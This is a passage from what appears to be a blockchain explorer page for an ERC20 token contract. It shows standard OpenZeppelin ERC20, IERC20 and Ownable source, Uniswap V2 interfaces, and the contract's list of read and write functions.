* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
ERC20.sol 389 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
IUniswapV2Pair.sol 104 lines
// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU
pragma solidity ^0.8.0;
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
IUniswapV2Factory.sol 34 lines
// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
IERC20.sol 82 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
Ownable.sol 83 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
Read Contract
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
deployerWallet 0x5d60c7be → address
developerWallet 0x185870f9 → address
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
marketingWallet 0x75f0a874 → address
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForMarketing 0x1f3fed8f → uint256
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
transferDelay 0x0a702e8d → bool
uniswapV2Pair 0x49bd5a5e → address
Write Contract 16 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
clearStuckEth 0x89291a8f
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
openTrading 0xc9567bf9
No parameters
reduceFees 0xd9cf31de
No parameters
removeFees 0xf6b20c3b
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setSwapTokensAtAmount 0xafa4f3b2
uint256 _amount
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address